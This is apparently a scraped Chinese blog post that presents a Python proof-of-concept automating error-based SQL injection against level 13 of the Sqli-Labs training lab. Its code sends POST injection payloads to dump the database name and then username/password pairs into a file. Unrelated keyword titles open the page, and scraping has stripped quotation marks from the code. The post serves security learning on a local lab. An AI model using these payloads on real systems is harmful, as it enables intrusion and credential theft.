江阴市建设局网站管理通道,下载好的字体怎么安装到wordpress,搭建本地环境做网站,用WordPress的网站有哪些文章目录
概要整体架构流程技术细节执行效果小结
概要
Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生#xff0c;或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢#xff1f;可能有些人会说不是有sqlmap#…文章目录
概要整体架构流程技术细节执行效果小结
概要
Sqli-Labs靶场对于网安专业的学生或正在学习网安的朋友来说并不陌生或者说已经很熟悉。那有没有朋友想过自己开发一个测试脚本能实现自动化化测试sqli-labs呢可能有些人会说不是有sqlmap那我们又何须使用这个小脚本呢这里我统一回答sqlmap只是一个工具工具始终是不能代替人的思考。开发这个测试的脚本他都是有针对性的他是针对每一关的精心设计。但凡脱离实际都是在空想。我也是一直围绕这个主题所以想到了开发能自动化测试sqli-labs靶场每一关的POC。最后这个只能用于有基础的网安人进行学习学习网安路还是不能投机取巧的。
本章适合人群
网安专业学生报班学习网安内容的同学提高写POC能力的网安从业者
整体架构流程
因为是sqli-labs的第13关且我觉得名字很是麻烦所以我在写脚本的时候错将sqli-labs写成了sql-libs请见谅。如果你有强迫症可以自行修改。
整体流程主要是仿爬虫的形式访问网页之后将得到的数据记录在和py文件同一级的目录下面。
第13关使用的单引号括号注入。
请求方式是POST请求。
这个脚本唯一的缺陷就是出在后面的find_dbdata函数上面该处使用不同的正则表达式就会筛选出不同的结果最终的结果没能拿到我本地部署的sqli-labs靶场的全部数据库名和密码。类似admin1这种用户名和密码筛选出来就可以拿到全部的数据这个算是这个小脚本的缺陷。有兴趣的小伙伴可以进一步研究。
技术细节
import requests
import re
import os
print(当前工作目录:, os.getcwd())# 全局变量
url http://sql:8081/Less-13/def find_dblength():headers {Host: sql:8081,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/png,image/svgxml,*/*;q0.8,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding: gzip, deflate,Content-Type: application/x-www-form-urlencoded,Content-Length: 270, # 根据data参数的长度进行修改Origin: http://sql:8081,Connection: close,Referer: http://sql:8081/Less-13/,Upgrade-Insecure-Requests: 1,Priority: u0, i}data {uname: username) union select 1,2 from (select count(*),concat((select concat(database()) limit 0,1),floor(rand(0)*2)) as x from information_schema.tables group by x) as alias-- -,passwd: ) or 11-- -}response requests.post(url, headersheaders, datadata, verifyFalse)html_content response.textmatch re.search(rDuplicate entry ([a-zA-Z])\d* for key, html_content)if match:result match.group(1)result_length len(result)print(fResult: {result}, Length: {result_length})return result, result_lengthelse:print(No match found.)return None, 0def find_dbdata(result_length):file_path os.path.join(os.getcwd(), result.txt)for i in range(result_length):headers {Host: sql:8081,User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:128.0) Gecko/20100101 Firefox/128.0,Accept: text/html,application/xhtmlxml,application/xml;q0.9,image/avif,image/webp,image/png,image/svgxml,*/*;q0.8,Accept-Language: zh-CN,zh;q0.8,zh-TW;q0.7,zh-HK;q0.5,en-US;q0.3,en;q0.2,Accept-Encoding: gzip, deflate,Content-Type: application/x-www-form-urlencoded,Content-Length: 325, # 根据data参数的长度进行修改Origin: http://sql:8081,Connection: close,Referer: http://sql:8081/Less-13/,Upgrade-Insecure-Requests: 1,Priority: u0, i}data {uname: fusername) union select 1,2 from (select count(*),concat((select concat(username,0x3a, 0x3a,password,f0x3a, 0x3a) from security.users limit {i},1),floor(rand(0)*2)) as x from information_schema.tables group by x) as alias-- -,passwd: ) or 11-- -}response requests.post(url, headersheaders, datadata, verifyFalse)html_content response.textmatch re.search(r(.?)::(.?)::(\d), html_content)if match:with open(file_path, a) as file:file.write(f{match.group(1)}, {match.group(2)}\n)else:print(fNo match found for entry {i}.)result, result_length find_dblength()
if result_length 0:find_dbdata(result_length)执行效果 小结
由于我的sqli-labs靶场是搭建在我的本机所以使用代码时需要进行修改。
且想输出不一样的文件内容格式也可以进行微调整。
最后还是那句话网安的路上不会一帆风顺还需脚踏实地一步一个脚印的前行仅用于POC的学习使用其他使用与作者无关。